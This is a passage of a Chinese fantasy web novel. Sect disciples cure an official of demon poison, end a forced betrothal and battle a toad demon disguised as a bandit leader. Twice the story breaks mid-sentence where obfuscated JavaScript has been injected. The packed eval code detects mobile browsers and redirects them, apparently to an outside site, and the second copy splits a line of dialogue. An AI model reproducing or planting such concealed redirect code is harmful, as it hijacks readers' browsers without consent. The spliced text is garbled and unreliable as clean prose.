“废话少说！吃我一刀！”说着又与沐灵泽和沐辰风打斗了起来，浑然不觉有人在喊他。 窦季延方才还悠哉悠哉地摇着扇子看着好戏，此刻见一众士兵倒了一地，又见洛纤凝提着剑朝他走来，登时吓得魂飞魄散，收起扇子别在裤腰带上就开始跑，边跑边喊王不俗和沙不死，怎奈何那二人一个与林惜英柳惜朝斗得正酣，一个与沐灵泽沐辰风斗得正酣，压根听不见别的。 很快，洛纤凝就跃到了窦季延的面前，摩挲着手里的剑，阴森森地笑道:“上哪儿去啊四公子？你方才不是说要抽我一百个大嘴巴子么？怎么，不抽了？” 窦季延牙关打着颤，恨声道:“你……你这个疯女人！本公子今天跟你拼啦！！”抡起拳头就朝洛纤凝砸了过去，结果却被洛纤凝稳稳地抓住，用力往后一拽，便倒在了地上，摔了个狗啃泥。 钟氏见状，忙“哎哟”一声跑上前来，诚惶诚恐道:“我的乖乖！不得了了！四公子，您没事儿吧？这位姑娘，您这是做什么？快，四公子，让草民扶您起来……”弯腰就去扶人，扶到一半，余光瞥见洛纤凝抬起脚，一脚踩在了窦季延的背上，又将人踩了下去，吓得险些倒仰过去。 洛纤凝摆摆手道:“钟员外，您别怕，我今天就替你还有钟姐姐好好教训他一顿！让他恃强凌弱！强抢民女！” 钟氏:“……” 白眼一翻，晕了过去。 钟思遥站在廊下看着他们打，起先还很是害怕，拉着丫鬟和弟弟到处躲闪，直到看见窦季延被洛纤凝踩在脚底下……她原本不想笑的，毕竟洛纤凝伤了窦季延，钟家多少都会受牵连，但讨厌的人被人踩在脚底下羞辱，实在是让她觉得解气，于是“噗嗤”一声笑了出来，没笑多久，就看见钟氏晕了过去，赶忙止住笑声朝钟氏奔去。 柳惜朝等人费了好一番工夫，终于将王不俗和沙不死给制服了，放眼一望，只见洛纤凝正踩在窦季延的背上，无比的嚣张得意，嘴里嚷嚷着:“踩死你！让你横！你不是说要抽我一百个大嘴巴子么？你来啊！” 显然将此行的目的忘了个一干二净。 柳惜朝慌忙跑上前去将人拽下来，怒道:“洛纤凝！你干什么呢？！还嫌不够乱么？！” 洛纤凝迈着小碎步躲到林惜英身后，露出半张脸道:“大师兄，我不是故意的，实在是没忍住，都怪那个斗鸡眼，实在是太讨厌了，贼眉鼠眼的，我看见他就想上去揍他。” “你……” “啊！！！”柳惜朝刚吐出一个字，就听一旁的窦季延嘶声裂肺地大吼了起来，像是要把肠子都吼断，旋即跟只螳螂似的，挥舞着双臂从地上爬起来，指着他们一行人的鼻子破口大骂道:“你们……你们这群不长眼的狗东西！竟敢如此羞辱本公子！你们给本公子等……” “你骂谁狗东西呢？！”洛纤凝上前两步来到窦季延跟前，扬手欲抽他，甚幸被柳惜朝给拦下了。 饶是如此，窦季延依旧吓得浑身打颤，不敢多作停留，拔腿就跑。 就在这时，忽闻一阵整齐笨重的脚步声从府门外传来，紧接着，一群官兵挟着一阵风闯了进来，重重盔甲与火把之间，大步迈出一人，身形高大健壮，与王不俗沙不死不相上下，只不过眼睛比那二人大一些，面容也比那二人威严许多，大约四旬出头的年纪，身披甲胄，满脸沧桑，显然是刚从外面剿完匪回来。 众人皆是一怔，心道这下事情变得 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“你当本官是傻子么？！”窦尽忠上前数步，来到几个人面前，眼风一扫，尽显威严，“是不是长绝山的弟子，拿着你们的画像去问一问贵派掌门便知！本官就不信了，堂堂长绝山掌门，还敢包庇弟子不成！” 洛纤凝被他这话吼得浑身一激灵，一时不知该说什么，只能眼巴巴地看向柳惜朝。 柳惜朝如何能不明白，朝旁跨了一步，挡在洛纤凝身前，将洛纤凝遮了个严严实实，拱手道:“大人，我师妹她年纪小不懂事，确实冲撞了令郎，我这个做大师兄的，没有管教好师妹，一切都是我的错，我替她向大人还有令郎赔罪了。”说罢头朝下，深深地鞠了一躬，“还望大人有大量，不要和一个孩子计较。” 洛纤凝眼睁睁地看着面前那道高大的背影一点一点地矮了下去，忽然觉得鼻子一酸，抱紧了林惜英的胳膊，将头埋了下去。 林惜英瞥了她一眼，沉默不语。 这时，钟氏也醒了，慌慌张张地从地上爬起来，跪在地上道:“大人息怒，大人息怒啊！此事与小女无关，更与钟家无关，全都是他们几个人自作主张！大人一定要明察啊！” 钟思遥也跪在地上，不卑不亢道:“大人，此事皆因民女而起，民女不愿嫁给四公子，洛姑娘此举都是为了民女，还请大人网开一面，要罚就罚民女好了。” “哦？”窦尽忠迈开腿，来到钟思遥面前，“自古婚姻大事，父母之命，媒妁之言，你父亲都同意了，你这个做女儿的为何不同意？难道觉得我儿子配不上你么？！” 洛纤凝心道:“废话，你睁大眼睛仔细瞧瞧，你儿子到底哪里配得上钟姐姐。”她挪动脚步绕到钟思遥旁边，双目直视着窦尽忠，一副初生牛犊不怕虎的模样:“窦大人，如果您有一个如花似玉冰清玉洁的女儿，您愿意将她嫁给一个不务正业天天逛青楼的男人么？” 柳惜朝一听这话，瞬间直起腰来，快步上前抓住洛纤凝的胳膊:“阿凝！你说什么胡话呢？还嫌添的乱不够多么？” “我没说胡话！”洛纤凝倔强地甩开柳惜朝的手，浑然忘记了方才窦尽忠说要去长绝山告她状一事，“窦大人，请你回答我方才的问题。” 窦尽忠气得半晌没说话，牙齿咬得咯咯作响，像是要扇洛纤凝一个耳光，但又下不去手。 窦季延冲了过来，抓住窦尽忠的手臂摇晃道:“爹！你还在犹豫什么？你看她把我打成什么样了？她还把我踩在地上羞辱我！我长这么大从来没有受过这么大的委屈！爹，你快替儿子教训她啊！快啊快啊！” 院内站的站，跪的跪，躺的躺，一时间气氛十分的紧张，可谓剑拔弩张。沐灵泽和沐辰风门神一样杵在洛纤凝的左右两侧，一副随时干架的架势。林惜英则将一只手按在绝尘剑的剑柄上，就在绝尘剑出鞘一寸之时，忽然一怔，将剑没入了剑鞘之中。 22. 人间10 “大人此次剿匪，是不是不太顺利？”林惜英清冷的嗓音倏地自寂静的黑夜中响起，如同一股清凉的泉水从石上流过。 窦尽忠额角一跳，转身望去，只见灯火明灭之中，一双深如寒潭的眼睛正目不斜视地凝望着他，让他看不到底。 如果说方才那名少女的眼中有着一股少年人独有的倔强劲，那么这名少女的眼中，则蕴含着一股少年人不该有的肃杀之气。 他来到林惜英的面前，沉声问道:“你怎知本官此次剿匪，不太顺利？” “什么？！”窦季延大叫一声，跟上亲爹的步伐，“爹，不太顺利是什么意思？莫非，你没把那群土匪剿光？！” 窦尽忠摇了摇头，没有说话。 林惜英接着道:“大人手上的伤，瞧着可并非寻常人所为。” “什么？！”窦季延再一次惊叫道，“爹你受伤了？！”他扑到窦尽忠的面前，左看右看，最终举起窦尽忠的左手，唇角向下一弯，满眼心疼道:“爹，你真的受伤了，话说这伤口的颜色怎么这么奇怪？”又面朝不远处的一众士兵吼道:“你们还愣着干什么？！还不快去找大夫！等着本公子亲自去找么？！” 立刻便有士兵出府去请大夫。 柳惜朝等人一块儿凑了上来，果然见窦尽忠左手手背上有一道长长的口子，隐隐约约能看见骨头，不像是利器所伤，反倒像是被什么人用指甲给抓伤的，伤口红中泛黄又泛着一丝黑，跟中了什么毒似的。 窦尽忠皱眉道:“奇怪，我这伤刚开始还不是这样的，我以为只是一点小伤。” 林惜英道:“大人这伤，初时还是正常的，此时却变了颜色，这不是中毒又是什么？” “中毒？！”窦尽忠和窦季延齐声道，尤其是窦季延，声音里透着一丝害怕。 林惜英继续道:“大人这伤并非利器所伤，而是被人抓伤的，是也不是？” 窦尽忠道:“不错，正是被那土匪头子用手抓伤的。” 窦季延颤声道:“什么人能把爹您抓成这样？他指甲上抹着毒啊？！” 林惜英道:“倘若那土匪头子不是人，而是妖呢？” 此话一出，在场大多数人都被惊到了，有人害怕，有人兴奋，而洛纤凝就是最兴奋的那个。她激动地凑上前来，问道:“什么？妖？师姐，真的假的？那我们是不是可以去捉妖了？！” 林惜英淡声道:“师父说过，有些妖身上是有毒的，比如蛇妖，蝎妖，蜘蛛妖，蟾蜍妖。一旦被这几种妖抓伤，且不及时解毒的话，极有可能危及性命。大人这伤，看起来不像是寻常毒所至，因此我猜测，那土匪头子，十有八九是只妖，而大人中的毒，正是妖毒。” 柳惜朝也道:“我师妹说得不错，大人，您这伤口颜色怪异，倘若真是中了妖毒，而且还是一只修为极高的妖，恐怕寻常大夫根本无法医治，您极有可能性命不保，最多三日，必定发狂而亡。” “啊？！”窦季延吓得脸都白了，方才洛纤凝追着他打的时候他都没这么害怕。他看看林惜英，又看看柳惜朝，结结巴巴道:“那那那……那你们几个有没有办法救救我爹？我我我……今日之事，本公子就不跟你们几个计较了！” 窦尽忠本不愿承认自己中了毒，心道谁知道他们几个是不是胡说八道想以此来恐吓他，但手上的伤口却做不了假，只好道:“那依你们所言，谁能救本官？该不会是你们几个毛头小子和黄毛丫头吧？” 听语气，似乎对林惜英等人颇不信任。 洛纤凝撇撇嘴道:“怎么，你还看不起我们？我告诉你，我们可是剑仙的徒弟，你最好……” 柳惜朝递给洛纤凝一个眼神，示意她住口，然后道:“大人若是不信，那就等大夫来了，我们再做决断。” 窦尽忠想了想，道:“也只能这样了。都站在这儿做什么？进屋去吧。” 一群人和和气气地进了屋，不多时，城内最有名的大夫便到了。 果然，诊治一番后，大夫跪地俯首道:“大人，请恕草民医术不精，此毒毒性极强，草民闻所未闻，恐怕解不了，只能暂时延缓毒性发作，还请大人另请高明。” 窦尽忠叹了口气，摆手道:“知道了，下去吧。” 看来这几个人并未骗他，那土匪头子八成是只妖，怪道如此厉害，竟能空手接白刃。 起初他以为那土匪头子不用兵器是在故意挑衅他，冲上去就是一阵猛劈，哪知那土匪躲了几下后，一拳下去便将自己手中的大刀击落，又在自己手上留下了一道印记，紧接着又给了自己一脚。 他本想爬起来再战，副将劝他道:“留得青山在，不怕没柴烧啊大人！”说罢也不管他愿不愿意，拉着他就开始拼命地逃。 现在想想，真是一阵后怕。还好他们当时逃得快，而那土匪想必是觉得他中了妖毒，命不久矣，又或是觉得一群凡人，没有追的必要，索性便没有追过来。 窦季延急得团团转，边转边道:“爹，您别坐着了，您再不想办法解毒，命可就没了，您要是出了什么三长两短，儿子可怎么办啊？儿子还没来得及孝顺您呢……” 洛纤凝冷笑道:“这下知道急了，早干什么去了？” 窦季延怒道:“你说什么？！你这个疯女人……” “延儿别闹！”窦尽忠忽然一拍桌子制止窦季延道，又起身来到柳惜朝面前，问道:“你们可有办法救本官？如果有，什么条件，尽管提。” 这可真是踏破铁鞋无觅处，得来全不费工夫！洛纤凝顿时喜上眉梢，不等柳惜朝发话，便抢先道:“我们当然有办法了，条件嘛，很简单，让你儿子和钟姑娘退婚，以后不许再找钟家的麻烦！” 窦季延一听这话，瞬间炸了毛:“不行！你们……你们欺人太甚！亏你们还是长绝山的弟子，救个人还要提条件，算什么仙门弟子？！” 洛纤凝斜他一眼，道:“我们长绝山的灵丹妙药可是历代掌门和长老跋山涉水翻山越岭才采来炼制成的，可谓价值千金！不需要收点辛苦费啊？！你愿意把你辛辛苦苦找来的东西送给别人么？有本事你自己去给你爹找解药啊！就看你爹能不能等到那个时候！” 窦季延一直以为仙门弟子个个都是斩妖除魔、济世救人、不求回报的大好人，今日头一次见识到像洛纤凝这样斤斤计较小肚鸡肠的仙门弟子，简直大开眼界。他老鼠一般窜到洛纤凝面前，脸红脖子粗地指着她的鼻子道:“你你你……你身为……” “你什么你？！”洛纤凝懒得听他口中喷粪，一掌将他的手拍去了一边，“再说了，你是真的喜欢钟姑娘么？你方才不是还嚷嚷要娶我师姐么？说什么只要我师姐愿意嫁给你，你就不娶钟姑娘了。怎么，你没说过这话啊？还是说在你眼里，你爹的性命还没有一个认识了没几天的外人重要？” “你……你胡说八道什么？！”窦季延梗着脖子道，“在我心里，我爹当然是最重要的人了！不就是一门亲事么？”咬牙跺脚道:“爹，退了吧！” 见窦尽忠开始犹豫，林惜英趁热打铁道:“我师妹说得是，大人，令郎前些时日说要娶钟姑娘，今夜又说要娶……要娶我，可见令郎对钟姑娘并非真心，大人何苦让他们日后成为一对怨偶呢？” 柳惜朝也道:“是啊大人，虽说婚姻一事，父母之命，媒妁之言，但在我们这些晚辈看来，也应当考虑一下子女的意愿，毕竟将来过日子的是他们两个，俗话说得好，家和万事兴，夫妻若不同心，家如何能兴？”说到这儿，他顿了一下，从怀中摸出一个小小的瓷瓶，义正言辞道:“但，无论大人做何决断，这解药我都会赠予大人，我们长绝山的弟子，绝不会以任何事威胁任何人，大人是一位清正廉明的好官，这解药赠予好人，天经地义，不求回报。” 此话一落，洛纤凝登时不开心了，想上去争论几句，就看见林惜英朝她使了个眼色，示意她闭嘴。 她只好闭嘴了。 窦尽忠原以为柳惜朝会与那少女一样，用这解药来威胁自己，可万万没料到他会说出此等深明大义之言，还称自己是个清正廉明的好官。这真是让他无地自容，深感惭愧。他先前以为，自己的儿子是真心爱慕钟思遥，出于私心，想把钟思遥娶回家让他收收心，可方才这么一听，发现这小子还是和从前一个德行，见一个爱一个。 他深深地看了一眼柳惜朝，最终转向窦季延，道:“延儿，你可想好了？当真要退了这门婚事？你忘了你当初跟为父怎么说的？你说你对钟姑娘一见倾心，此生非她不娶。” “……想好了！”窦季延似乎也没料到柳惜朝会这么说，踌躇片刻后，眼神笃定地看向窦尽忠，“爹，什么事还能比您的命重要？我们可不能欠他们什么！退了吧，反正有的是人排着队等着嫁给儿子！再说了，儿子方才想了想，儿子……确实也不是很喜欢钟姑娘。” “……唉，好吧。”窦尽忠叹了口气，随即打开房门，走了出去，对门外的钟氏和钟思遥道:“方才的话，想必你们应当都听到了，既然钟姑娘不愿意，犬子也并非真心，那这门婚事便就此取消，日后倘若有人以此事为难钟家，那便是与本官为难！” 钟思遥当即便跪地叩谢，反而钟氏有些不情愿，哆嗦着嘴唇道:“好好的一门婚事，怎么就……” 白眼一翻，又晕了过去。 一旁的沐灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳惜朝讲完除妖事宜之后，敲了敲洛纤凝的脑袋，教训她道:“以后做事切记不可再冲动，幸好这次我们运气好，否则你就等着师父用戒鞭抽得你皮开肉绽吧。” 洛纤凝长长的“哦”了一声，旋即左手抱住柳惜朝，右手抱住林惜英，眼睛亮晶晶道:“大师兄，师姐，你们放心，以后我都改，不会再让你们替我收拾烂摊子了！” 柳惜朝欣慰道:“这还差不多。果然，人教人是教不会的，事教人，一次就会。你啊，就得多历练历练。” 到了出发这一日，一切准备就绪，唯一让他们感到意外的是——窦季延竟然也要去！ 这不是跟着添乱么？ 柳惜朝上前去问窦尽忠，窦尽忠笑着道:“延儿说他也想跟着去长长见识，说是以后要替我分忧，而且你们放心，有王不俗和沙不死在，他不会给我们添乱的，大不了我让他在山下等着咱们就行。” 柳惜朝不好再反驳，只好回去将窦尽忠的话转告给其余四人。 洛纤凝冷哼一声，道:“分忧？他半点功夫都不会，分什么忧？我看他分神还差不多！” 柳惜朝挥挥手道:“罢了，有王不俗和沙不死在，应当没事的，而且窦大人说了，不让他上山。行了，都上马吧。” 临走前，钟思遥特地来送他们，叮嘱他们路上小心，注意安全。洛纤凝摆摆手道:“你放心吧钟姐姐，我们长绝山的弟子厉害着呢，保管人到妖除！” 钟思遥微微一笑，目送大队人马缓缓驶出城外。 由于只有洛纤凝、林惜英和窦季延三个人不会骑马，所以三个人同乘一辆马车。 马车内，她看着他，他看着她，她则闭着眼睛，什么都不看。 终于，洛纤凝受不了了，扬起手，一个巴掌呼在了窦季延的脑门上，喝道:“看什么看？！不许看我师姐！再看把你眼珠子挖了！” 窦季延摸着脑门道:“看一下怎么了嘛？又没看你！你管得着么？！” “我就要管……” “够了！”林惜英睁开眼睛道，“再吵都滚出去！”又看向窦季延，“把眼睛闭上。” 窦季延:“啊？” “啊什么啊？！”洛纤凝踹他一脚，“我师姐让你把眼睛闭上，不闭就把你扔出去！” 窦季延只好心不甘情不愿地把眼睛闭上。 真是奇了怪了，他这几日只要一闭上眼睛，脑海中就会浮现出洛纤凝那张嚣张跋扈的脸。尤其是夜里做梦的时候，总能梦到她拽着他的头发，将他踩在脚底下肆意蹂躏…… 想想他就觉得气，但又无可奈何，谁让父亲需要他们几个帮忙除妖呢。 23. 人间11 霸王寨。 仇天霸正慵懒地倚在正上方的虎皮椅子上，大口大口地啃着猪骨头，一边啃，一边喝着烈酒。在他下方两侧，分别坐着二当家倪峰，和三当家项勇。三个人皆是一副力能举鼎的粗壮模样。 忽然，外头传来急匆匆的脚步声，一名喽啰扬声喊道:“不好了不好了！大当家二当家三当家！那群官兵又来了！此刻正在山下的河边安营扎寨！” 项勇“腾”的一声从椅子上跳了下来，道:“又来了？！多少人？！” 喽啰回道:“和上次差不多！只不过……” “只不过什么？” 喽啰笑眯眯道:“只不过，好像多了两个女人。” “女人？”项勇赶忙上前两步，来到那喽啰面前，两眼放光道:“啥样的女人？长得好看不？” 喽啰摇了摇头，道:“太远了，没看清。” 项勇:“……滚！吩咐弟兄们，抄起家伙什在外面等着！”他转头看向仇天霸和倪峰，见两个人竟还在吃肉喝酒，似是一点都不着急，忍不住道:“大哥二哥！人都快到家门口了，你俩怎么还吃着呢？！抄家伙走啊！” 倪峰懒洋洋地瞥了他一眼，这才扔了酒和肉，站起身来，掸了掸衣服上的肉渣，笑道:“急什么？天塌了有大哥顶着呢，是吧大哥？” 仇天霸此时也已从虎皮椅子上下来，走到了两个人的跟前，目视前方，道:“不知死活的凡……咳，不知死活的东西，上次我心软，没把他们全都灭了，这次，一个不留！” “对！大哥！一个不留！”项勇握拳道，“把他们全都杀了！再把那两个女人劫上山来，一个给咱们大哥，一个给我们兄弟俩！” 一伙人说走就走，抄起家伙浩浩荡荡就往山下奔去，到了山腰，往下一瞥，果然见一大堆人马驻扎在河边，正在给马儿喝水。 洛纤凝无限爱怜地摸着柳惜朝一路骑来的那匹枣红色的骏马，叹道:“好漂亮的马儿。我也想学骑马，大师兄，你教教我呗，话说大师兄你怎么什么都会？” 柳惜朝眉眼带笑地回忆起了从前:“我从十五岁下山时起，已经有七年了，刚开始那几年，对什么都好奇，看见人家骑马，我也去弄了一匹，骑着骑着就会了呗。” “那大师兄，你教教我呗，我也想学骑马。”洛纤凝兴奋地在柳惜朝面前跳来跳去，又转头去看林惜英，“师姐，你想学么？趁现在让大师兄教教我们，反正窦大人说了，休息一会儿再上山，不着急。” 柳惜朝紧张地看着林惜英，咽了口唾沫。 林惜英犹豫着，最终道:“让大师兄先教你吧，我……” “没事儿！”沐灵泽不知何时溜到了洛纤凝的身后，对林惜英道:“林师姐，让大师兄教你，我……和沐辰风教洛师姐！” 沐辰风也溜了过来，道:“不行！我要教林师姐！”又望着林惜英，喋喋不休道:“林师姐，你有所不知，我的骑术可好了，我六岁的时候就会骑马了，我来教你，保证不出一盏茶的工夫，你就能骑着马儿直奔云霄……” “你闭嘴吧！”洛纤凝觉得这人真是聒噪至极且爱吹牛皮。她凑到林惜英耳边，低语道:“师姐，我觉得还是让大师兄教你吧，毕竟大师兄靠谱一点。好，就这么说定了！” 语毕，拉着沐灵泽和沐辰风就走。 沐辰风不甘心地“哎哎”叫着，叫完气冲冲地甩开洛纤凝，对沐灵泽道:“阿泽你干嘛要教她？让她自己学去！” 沐灵泽道:“别呀，好歹师姐弟一场……” 沐辰风撇撇嘴道:“那你自己去教吧，我歇着去了。” 洛纤凝一脚踹在了沐辰风的膝盖上:“你爱教不教，不教滚蛋！走沐灵泽，我们去牵你的马。” 沐辰风:“你……好男不跟女斗！”他走到河边坐了下来，撑着下巴看柳惜朝翻身上马，朝林惜英伸出手去，但林惜英却没有去搭他的手，反而自己跃了上去，然后两个人贴在一起，围着河边策马奔跑了起来…… 他越看越气，越看越气，只好扭头去看洛纤凝和沐灵泽。 洛纤凝和沐灵泽也不知道在吵什么，叽叽喳喳的跟两只鸟儿似的。他竖起耳朵，听见一个道:“你不让我上去，我怎么教你？” 另一个道:“你就站在下面教啊，干嘛非要上来？” 沐灵泽:“……行，那你自己去吧，再见！”说罢一拍马屁股，马儿登时扬起双蹄，又一蹬后蹄，一头扎向了前方。 “……啊！！！”洛纤凝骑在马背上一阵乱晃，没忍住哇哇大叫了起来，想翻身下马，但又怕被沐灵泽瞧不起。她只好抓紧马背上的缰绳，俯下身，将整个人贴在马背上。 沐灵泽见状，立马施展轻功跃到了马背上，抓住马儿的缰绳，同时也不小心碰到了洛纤凝的手。他怔了一下，才使劲一勒缰绳，道:“害怕了吧？” 马儿停了下来，洛纤凝直起腰身，一脸倔强道:“笑话！我洛纤凝怎么可能会害怕……” 话未说完，便听沐灵泽“驾”的一声，身下的马儿便又狂奔了起来，很快就追上了林惜英和柳惜朝。 微凉的风从耳边呼啸而过，原野上的树木花草疯狂生长，太阳高高地悬挂在天际…… 洛纤凝觉得这一切都太美好了，美好到她压根没工夫去骂沐灵泽。她情不自禁地张开双臂大声喊道:“师姐！大师兄！你们看！这里真的好美啊！” 河对岸，窦季延摇着扇子看着那边正在发疯呐喊的洛纤凝，自言自语道:“奇了怪了，本公子今天怎么老喜欢盯着这个疯女人看？” 身后的王不俗突然冒出一句:“莫非……公子你喜欢洛姑娘？” 窦季延浑身一震，扭头瞪向他:“你胡说八道什么？！什么喜欢？！我……本公子怎么可能会喜欢洛纤凝这个疯女人？！本公子喜欢的人是林姑娘！林姑娘！懂不懂？！” 王不俗立时闭了嘴。 片刻后，沙不死又道:“那为何方才沐公子教洛姑娘骑马的时候，公子您看起来那么生气呢？” 窦季延又是一震，冲到沙不死面前就是一顿吼:“我什么时候生气了？！你哪只眼睛看见本公子生气了？！啊？！” 沙不死偏过头去，不再言语。 窦季延气呼呼地转过身，疯狂地扇着扇子，越扇越觉得热，干脆不扇了，朝窦尽忠跑了过去。 窦尽忠拉着窦季延好生叮嘱了几句，并留下了王不俗沙不死还有十几名士兵在此处保护他，这才遣人唤回洛纤凝等人，带着将士们朝霸王寨攻去。 山脚下一片静谧，一行人在树木的掩映下，弯下腰，窸窸窣窣地朝山上窜去。行不多时，忽听窦尽忠道:“大家小心！前方有暗箭！” 众人脚步一滞，果然见草丛深处射出无数支密密麻麻的箭矢，毫不留情地朝他们扑了过来。众人慌忙挥动刀剑抵挡，柳惜朝则趁机施法竖起一道屏障，将那些箭矢全都隔绝在外。 只这一下，便将那群土匪给震慑住了，纷纷后退看向他们的老大，询问接下来该如何。 仇天霸若有所思道:“看来这一次他们是有备而来，还请了高手。” 倪峰道:“都慌什么？咱们大当家的也会法术！大哥，给兄弟们露一手呗，让他们见识见识咱们的厉害！” 项勇道:“就是！咱们大当家的以前可是道士！区区法术，又有何难？你说是吧大哥？” 土匪甲道:“道士？真的假的？哪个道观啊？那咋就还俗了呢？” 项勇:“你管他哪个道观！总之是个大道观！至于为啥还俗么，是为了一个姑娘，是不是大哥？” “姑娘？”土匪乙道，“看不出来，咱们大当家还是个痴情种啊。” 项勇:“那可不！” 土匪甲道:“那那个姑娘呢？怎么没带上山来？” 项勇:“跑了！” 土匪甲:“啊？！” 项勇:“啊什么啊？那个臭婆娘，嫌弃咱们大当家又穷又丑，最后也不知道和哪个野男人跑了……” 仇天霸:“行了你们都给我闭嘴！这都什么时候了？说这些有什么用？！” 土匪们立刻噤声。 这一头，窦尽忠的副将望着面前薄薄的一层屏障，惊叹道:“不愧是长绝山的弟子！大人，有这几位少侠在，今日我们定能将这伙杂碎一锅端了！” 士兵们纷纷附和，面露喜色。 半晌后，洛纤凝道:“大师兄，你说这伙土匪该不会都是妖吧？” 那就难对付了。 “不可能！”柳惜朝斩钉截铁道，“你当妖是那么容易就修炼成的么？而且这周围妖气甚淡，所以就更不可能了。” 窦尽忠也道:“柳少侠说得对，那日我观他们武功，只有那个叫仇天霸的土匪头子远胜于我，其他人不足为惧！” 沉默片刻，副将道:“柳公子，妖气这种东西应当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772214|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何分辨？” 反正那伙土匪暂时还没动静，柳惜朝便耐心地向副将解释了起来:“妖气这种东西，看不到摸不着，也很难闻到，因此寻常人大多是分辨不出来的，但对于我们这些常年与妖打交道的人来说，是不是妖，只要仔细一闻就知道了，除非……” “除非什么？” “除非他们用法宝或丹药之类的东西掩盖自己身上的妖气，这样的话，即便是我们，也难以察觉。” 副将点头道:“原来如此。” 两拨人马隔着一射之地，各自藏在草丛深处，你望着我，我望着你，一时间谁也没有动静。终于，窦尽忠按捺不住了，大喝一声:“速战速决！都给我上！！” “杀！！”士兵们齐声喊道，握紧手中的兵器朝上方那群土匪冲去，洛、林、柳等人紧跟其后。 交战刚一开始，洛纤凝就被那土匪头子仇天霸给盯上了，甚幸柳惜朝及时赶来，二人与之交手数十回合，惊觉此妖妖力非凡，他二人加在一起竟都不是他的对手。而项勇则直奔林惜英而去，一口一个“美人儿”，叫得林惜英甚是恶心。 林惜英实在受不了此人的胡搅蛮缠和恶心嘴脸，趁其不备，一个耳光甩在了他的脸上，又抬起一脚，将其踹到了十步以外的树干上。 项勇被这一脚踹得心肝肺都快蹦出来了，缓了口气，以刀撑地站起身来，嬉皮笑脸道:“哟呵！美人儿力气还挺大！我喜欢！！”又锲而不舍朝林惜英扑了过去。 林惜英忍无可忍，足下蓄力，旋即如离弦之箭一般闪身至项勇身前，不等他挥刀抵挡，绝尘剑便已划破了他的脖颈，鲜血在半空中停留了一瞬后，与它的主人一起倒在了地上。 一番举动，速度之快，动作之狠，令一旁正在奋勇杀敌的沐辰风目瞪口呆。他想，这应该是林惜英第一次杀人吧？怎么感觉她一点都不害怕，反而一副不够杀的表情？ “聒噪。”林惜英斜了那登徒子的尸体一眼，从齿缝里蹦出了这两个字，一脸的不耐烦。 倪峰见状大吼道:“三弟！！！”还没吼完，就被沐灵泽和沐辰风一脚踹倒在地，摔了个狗啃泥。 兄弟俩将倪峰牢牢地踩在地上，直到几名士兵赶来将其捆住，才飞身上前去帮洛纤凝和柳惜朝。 而在此之前，仇天霸已经挥舞着手中的狼牙棒，将洛纤凝和柳惜朝一棒挥去了数丈之外。那一棒的威力，比王不俗和沙不死的大刀加在一起还可怕。 洛纤凝滚落在了地上，摔得后背一痛，问滚到身边的柳惜朝:“大师兄，这到底是什么妖？这也太厉害了吧？” 柳惜朝捂着后背道:“不知，要么是只千年大妖，要么就是经常吸人精气的小妖，或者两者都有，否则不可能这么强。” 见二人受了伤，林惜英和沐氏兄弟齐齐上阵，朝那妖怪攻去。窦尽忠等人也慌忙朝洛纤凝和柳惜朝跑去，将二人从地上扶了起来。 窦尽忠一脸的不可置信，道:“这妖怪竟如此厉害，连你二人都不是对手？” 洛纤凝没工夫回答，抄起凌云剑又朝那妖怪劈了过去，口中大喊道:“妖怪！吃我一剑！！” 柳惜朝急忙跟了过去，走之前扔下一句:“此妖凶险，大人切记不可上前！” 仇天霸被三个人围攻还不够，又来了两个人，终于支撑不住，身体被捅了一剑又一剑，鲜血不断从衣服里渗了出来。 倪峰被押到窦尽忠身后跪下，双手被绑在背后，见仇天霸以一敌五，浑身都冒着血，哭嚎道:“大哥！大……” “嚎什么嚎？！”副将扬起手，一个巴掌甩到了倪峰的脸上，没好气道:“还大哥呢？你知不知道你大哥是妖？！” 倪峰一怔，也不嚎了，含泪看向副将，结结巴巴道:“你……你说什么呢？我大哥他……他以前是道士！他他他……他怎么可能是妖？！” “道士？”副将冷笑，“一个妖还敢称自己是道士？我以为你们都知道呢，原来你们不知道啊？！” “你……你胡说八道！”倪峰依旧不信。 他的结拜大哥怎么可能会是妖？！ “行，不信是吧？那你，还有你们！”副将一边说着，一边指了指和倪峰一样被反捆双手的土匪们，“你们就等瞧，看看你们的大哥一会儿是怎么现原形的！” 土匪们一阵瑟瑟发抖，交头接耳了起来。 副将吼道:“吵什么吵？！都给本将闭嘴！” 24. 人间12 眼看仇天霸就要落网，五个人除了柳惜朝以外，皆放松了警惕。沐灵泽道:“投降吧这位妖怪大哥！你就算再厉害，也不能是我们五个人的对手！” 沐辰风道:“就是！放下武器，我们给你个痛快！” 然而就在这时，忽见仇天霸一甩狼牙棒，从怀中摸出两颗夜明珠似的东西，狠狠地往地上砸去。 柳惜朝岂会不知那是什么东西，当即便喊道:“小心！他有烟雾弹！” 话音刚落，一道白色又呛人的浓雾瞬间便遮住了五个人的视线，五个人捂着口鼻朝后退去，听见一阵极为凄厉的惨叫声从窦尽忠那里传了过来，响彻了整座霸王山。 柳惜朝勃然变色:“不好！”提剑就朝窦尽忠的方向冲去，其余四个人紧跟其后。待跑出浓雾，入目便是一只身形巨大、满身疙瘩、四肢粗短、双眼突出的巨形蟾蜍，偌大的嘴巴正嘎巴嘎巴地咀嚼着什么，一边咀嚼一边往外吐骨头，最后“咕噜”一声将口中的东西咽了下去。 